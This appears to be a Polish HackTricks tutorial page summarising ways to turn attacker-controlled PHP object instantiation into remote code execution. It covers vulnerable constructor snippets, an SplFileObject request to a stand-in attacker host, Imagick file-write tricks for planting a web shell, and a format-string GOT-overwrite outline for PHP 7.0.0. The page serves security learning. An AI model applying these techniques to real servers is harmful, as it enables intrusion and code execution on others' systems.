PHP - RCE nadużywanie tworzenia obiektów: new $_GET"a"

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

To w zasadzie podsumowanie https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Wprowadzenie

Tworzenie nowych dowolnych obiektów, takich jak new $_GET["a"]($_GET["a"]), może prowadzić do Remote Code Execution (RCE), jak szczegółowo opisano w writeup. Ten dokument przedstawia różne strategie osiągnięcia RCE.

RCE przez niestandardowe klasy lub autoloading

Składnia new $a($b) służy do tworzenia instancji obiektu, gdzie $a oznacza nazwę klasy, a $b jest pierwszym argumentem przekazywanym do konstruktora. Te zmienne mogą pochodzić z danych wejściowych użytkownika, takich jak GET/POST, gdzie mogą być stringami lub tablicami, albo z JSON, gdzie mogą występować jako inne typy.

Rozważ poniższy fragment kodu:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

W tym przypadku ustawienie $a na App lub App2 i $b na polecenie systemowe (np. uname -a) skutkuje wykonaniem tego polecenia.

Funkcje autoloadingu można wykorzystać, jeśli żadne takie klasy nie są bezpośrednio dostępne. Te funkcje automatycznie ładują klasy z plików, gdy są potrzebne i są definiowane przy użyciu spl_autoload_register lub __autoload:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Zachowanie mechanizmu autoloadingu różni się w zależności od wersji PHP i daje różne możliwości RCE.

RCE przez wbudowane klasy

Jeśli brakuje niestandardowych klas lub autoloadera, wbudowane klasy PHP mogą wystarczyć do RCE. Ich liczba waha się od około 100 do 200, w zależności od wersji PHP i załadowanych rozszerzeń. Można je wypisać za pomocą get_declared_classes().

Konstruktory warte zainteresowania można zidentyfikować za pomocą API refleksji, jak pokazano w poniższym przykładzie i pod linkiem https://3v4l.org/2JEGF.

RCE via specific methods includes:

SSRF + Phar Deserialization

Klasa SplFileObject umożliwia SSRF poprzez konstruktor, pozwalając na połączenia do dowolnego adresu URL:

php
new SplFileObject('http://attacker.com/');

SSRF może prowadzić do deserialization attacks w wersjach PHP przed 8.0 przy użyciu protokołu Phar.

Wykorzystywanie PDOs

Konstruktor klasy PDO umożliwia łączenie się z bazami danych za pomocą ciągów DSN, co potencjalnie może umożliwić tworzenie plików lub inne interakcje:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Wersje PHP do 5.3.22 i 5.4.12 były podatne na ataki XXE poprzez konstruktory SoapClient i SimpleXMLElement, w zależności od wersji libxml2.

RCE przez rozszerzenie Imagick

W analizie zależności projektu odkryto, że Imagick może być wykorzystany do command execution przez tworzenie nowych obiektów. To stwarza możliwość eksploatacji podatności.

VID parser

Zidentyfikowano możliwość VID parsera do zapisywania zawartości w dowolnej wskazanej ścieżce systemu plików. Może to prowadzić do umieszczenia PHP shell w katalogu dostępnym z sieci, osiągając Remote Code Execution (RCE).

VID Parser + Przesyłanie plików

Zauważono, że PHP tymczasowo przechowuje przesłane pliki w /tmp/phpXXXXXX. VID parser w Imagick, wykorzystując protokół msl, potrafi obsługiwać wildcardy w ścieżkach plików, co ułatwia przeniesienie pliku tymczasowego do wybranej lokalizacji. Ta metoda daje dodatkowe podejście do osiągnięcia dowolnego zapisu plików w systemie plików.

PHP Crash + Brute Force

Metoda opisana w original writeup polega na przesyłaniu plików, które powodują crash serwera przed usunięciem. Poprzez brute-forcing nazwy pliku tymczasowego, Imagick może wykonać arbitrary PHP code. Jednak technika ta okazała się skuteczna tylko w przestarzałej wersji ImageMagick.

Format-string in class-name resolution (PHP 7.0.0 Bug #71105)

Gdy nazwa klasy jest kontrolowana przez dane wejściowe użytkownika (np. new $_GET['model']()), PHP 7.0.0 wprowadziło przemijający błąd podczas refaktoryzacji Throwable, w którym silnik błędnie traktował nazwę klasy jako format string dla printf podczas rozwiązywania. To umożliwia klasyczne printf-style primitives wewnątrz PHP: leaks with %p, kontrolę liczby zapisów za pomocą specyfikatorów szerokości oraz dowolne zapisy przy użyciu %n do wskaźników w procesie (na przykład wpisy GOT w buildach ELF).

Minimalny wzorzec reprodukcji podatności:

php
<?php
$model = $_GET['model'];
$object = new $model();

Zarys eksploatacji (z referencji):

  • Leak addresses via %p in the class name to find a writable target:
bash
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
  • Użyj parametrów pozycyjnych i specyfikatorów szerokości, aby ustawić dokładną liczbę bajtów, a następnie %n, aby zapisać tę wartość pod adresem dostępnym na stosie, celując w slot GOT (np. free), aby częściowo go nadpisać do system.
  • Uruchom przejętą funkcję, przekazując nazwę klasy zawierającą shell pipe, aby osiągnąć system("id").

Uwagi:

  • Działa tylko na PHP 7.0.0 (Bug #71105); naprawione w kolejnych wydaniach. Powaga: krytyczna, jeśli istnieje możliwość dowolnego tworzenia instancji klas.
  • Typowe payloady łączą wiele %p, aby przejść przez stos, a następnie %.<width>d%<pos>$n, by doprowadzić do częściowego nadpisania.

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks